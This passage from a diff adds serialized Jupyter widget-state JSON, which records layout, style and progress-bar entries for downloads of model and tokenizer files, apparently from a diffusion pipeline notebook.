"1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_5896923dddc0466a9023c09c738f404a", + "placeholder": "​", + "style": "IPY_MODEL_f874ed5ecd6f4eed976ed24b0be4ae51", + "value": "Downloading (…)tokenizer/merges.txt: 100%" + } + }, + "2f972961c0eb411ca45b8af05cc05e3b": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_c826a36c99ae462abccdc59266c404d3", + "placeholder": "​", + "style": "IPY_MODEL_5ef86b91d359434a9aa4787dc727cb1b", + "value": " 348/348 [00:00<00:00, 1.79kB/s]" + } + }, + "3119598ffcab4d6f9d1642ee595736ee": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "341fa26d73394e6cb71498a9c95b458c": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "3672f34ff79b417abb390592a3b9ed2b": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "37e24969e35c4099933ab57fac8b2599": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_d3165abbffbc4da3bd4f0cb6f3437140", + "max": 1361597018, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_5a1be5246f2443858bd6933a89a68389", + "value": 1361597018 + } + }, + "37e74a92120d40ab99b8a3efeb397bd8": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "3943882166bb4470a800d9563f9e53a2": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "396aee75c5954aa9b634d79c18177977": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "3c4dca0b51954031905bada22feef684": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "4178b1767a614f89aa62f12a4e3a7350": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_c909bafccc65402fa93afea87f1b784e", + "IPY_MODEL_6c32232cfb734ac3a3204a22c414fc18", + "IPY_MODEL_1f37677826544166a0b63d36c9c3edac" + ], + "layout": "IPY_MODEL_a4d93e9fee48468281afac25f551806c" + } + }, + "417a14ed83ba4535bf47a39b9298aa4f": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "419cb861b6e84999a3708fd19b0295c6": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_2e922ee442bc49f8b0d7d4bd79d92683", + "placeholder": "​", + "style": "IPY_MODEL_4d9d00362c1c4f48b5cddc1783956732", + "value": " 13/13 [00:50<00:00, 4.61s/it]" + } + }, + "42248bb1fb38481eaa292dbca2d68e38": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "44480a036c3c4442baa95d6288e83546": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_520e09d44ecf488b93694eebe4a02147", + "max": 300, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_5959385589b344b2bd8fc108067db8a3", + "value": 300 + } + }, + "45148fd42fdb47b3a5424faa3c488c25": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "4d9d00362c1c4f48b5cddc1783956732": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "502d0b0ef4c549b485c049a2dae9b4f1": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_f931614414ba46adaab4c0522e65ebf8", + "placeholder": "​", + "style": "IPY_MODEL_e926a97d3f6149318dd6f01d17e90dd5", + "value": "Fetching 13 files: 100%" + } + }, + "50949912a3ee403e8ddb328e62b61c0d": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_b5a46aec8d594d02b618b9d59e4f4518", + "placeholder": "​", + "style": "IPY_MODEL_9ee85e252d32428ea44a91c71cd62a36", + "value": " 300/300 [00:00<00:00, 1.73kB/s]" + } + }, + "518150c24b25401d92cf483e5ecb0253": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "520e09d44ecf488b93694eebe4a02147": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "53fa5e54123446199d57c27c3ee8b091": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_c8ba37c669974bbea2face17223d2bb4", + "placeholder": "​", + "style": "IPY_MODEL_c87c0b939bbe4e56b46fca4aa580f75a", + "value": "Downloading (…)cheduler_config.json: 100%" + } + }, + "5896923dddc0466a9023c09c738f404a": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "58aa60b3b1af45d2bdd8870dedd3cb67": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_e76b29381c114f808b3454fb122e8d10", + "max": 1059962, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_a1d133bc8fe344e2aed80fe5155177c3", + "value": 1059962 + } + }, + "58bccc7add0a45d8b8640c42d89a864c": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "5959385589b344b2bd8fc108067db8a3": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "59b6eeeaf9464da891bf214ef1bbb7c2": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "5a1be5246f2443858bd6933a89a68389": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "5af1c44c0f434510abd7fe9d76f263da": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "5b3ca63a1af5452cb81fde6020fd9c53": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "5b74c15d312f404e88323771b08b0aeb": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_a25cd36e4deb410f9ee54a92a18c939c", + "max": 982, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_00cdbd64ce7d4b5a835a550ffc6b3510", + "value": 982 + } + }, + "5b89e69b011a40918b1acc0adf141874": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_1e276839600443fa82ca0ab00409fd99", + "placeholder": "​", + "style": "IPY_MODEL_639d147ac3674094be21de9f3c11477c", + "value": " 75/75 [00:46<00:00, 1.62it/s]" + } + }, + "5d1c6a49ce6f4596946a2fd91bec3312": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_085ee070cea44624806bcc7ada5ae36e", + "placeholder": "​", + "style": "IPY_MODEL_45148fd42fdb47b3a5424faa3c488c25", + "value": " 825/825 [00:00<00:00, 6.91kB/s]" + } + }, + "5d3f04417ce64f80a2843e74bf6208f7": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "5ef86b91d359434a9aa4787dc727cb1b": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "6030f4bc6af8461abdc66e4599ef3f1f": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_818b00fb8ff04eadb9ccd1bdfe192807", + "IPY_MODEL_44480a036c3c4442baa95d6288e83546", + "IPY_MODEL_50949912a3ee403e8ddb328e62b61c0d" + ], + "layout": "IPY_MODEL_8dd862f24b164fc68664c30b3d241e62" + } + }, + "622d32a9bbda46fca3ee0733be303765": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "62bd9e1add374b9e90c54275bd2e0449": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_0d89ddfa9593441097ce8e42614ef775", + "IPY_MODEL_e85ceff770654ef1bd935f54ca32ee07", + "IPY_MODEL_d0716d01bfdf43ba88f8bbfd63d3285a" + ], + "layout": "IPY_MODEL_f6579ff0c08648309711a654ec3de748" + } + }, + "634af1f0b6894726bebb7b546c667169": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_6a72b26cbdf041e7a8331fdc1642dee5", + "max": 75, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_3c4dca0b51954031905bada22feef684", + "value": 75 + } + }, + "639d147ac3674094be21de9f3c11477c": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "639d6afb1b0440f98ce7e26cb621a111": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "63a7a29ac462471eb67b275c68faff42": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "64373eefa4884b3084975549efcbd7fe": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_d8b3f3c7b8394b5580d8541f20c090ae", + "IPY_MODEL_634af1f0b6894726bebb7b546c667169", + "IPY_MODEL_5b89e69b011a40918b1acc0adf141874" + ], + "layout": "IPY_MODEL_9c01417376444eed820394ef843c0be3" + } + }, + "6525d3514cee42f3bd14bdf898b63ad2": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, 